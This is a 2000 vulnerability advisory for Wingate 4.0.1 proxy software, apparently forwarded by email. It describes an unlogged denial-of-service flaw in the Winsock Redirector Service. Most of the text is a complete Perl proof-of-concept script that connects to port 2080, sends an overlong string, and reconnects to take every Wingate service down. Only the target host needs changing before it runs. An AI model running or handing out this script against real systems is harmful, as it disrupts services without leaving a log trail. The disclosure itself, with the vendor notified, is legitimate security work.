=================================================================
Blue Panda Vulnerability Announcement: Wingate 4.0.1
02/10/2000 (dd/mm/yyyy)

bluepanda@dwarf.box.sk
https://bluepanda.box.sk/
=================================================================

Problem: The Wingate engine can be disabled by sending an abnormal string to
the Winsock Redirecter Service. The attack is not logged.

Vulnerable: Wingate Home/Standard/Pro 4.0.1, possible prior versions
(untested).

Immune: Wingate 4.1 Beta A

Vendor status: Notified.

===================
Proof of concept:
===================

#!/usr/bin/perl
#
# wgate401.pl - Wingate 4.0.1 denial-of-service
# Blue Panda - bluepanda@dwarf.box.sk
# https://bluepanda.box.sk/
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
# Causes all Wingate services to become unavailable until the Wingate Engine
# is restarted. The Winsock Redirector Service must be enabled in order for
# this to work. Tested on the evaluation version of Wingate Pro 4.0.1.
#

use IO::Socket;

$host = "host.com";
$port = "2080";
$sleepfor = 1;

print "Wingate 4.0.1 denial-of-service
Blue Panda - bluepanda\@dwarf.box.sk
https://bluepanda.box.sk/

----------------------------------------------------------
Disclaimer: this file is intended as proof of concept, and
is not intended to be used for illegal purposes. I accept
no responsibility for damage incurred by the use of it.
----------------------------------------------------------

Causes all Wingate services to become unavailable until the Wingate Engine
is restarted. The Winsock Redirector Service must be enabled in order for
this to work.\n\n";

# Connect to the Winsock Redirector Service.
print "Connecting to $host:$port...";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "failed.\n";
print "done.\n";

# Send some characters to the Winsock Redirector Service.
$buffer = "a" x 1079;
print $socket "$buffer";

# Wait a few seconds.
$counter = 0;
print "Sleeping for $sleepfor seconds.";
while($counter < $sleepfor) {
        sleep(1);
        print ".";
        $counter += 1;
}
print "\n";

# Close the connection. The Winsock Redirector Service should now be
# disabled.
close($socket);

# Connect once more to the Winsock Redirector Service. This will disable all
# other services.
print "Connecting to $host:$port...";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "failed.\n";
print "done.\n";

# Finished.
close($socket);


----- End forwarded message -----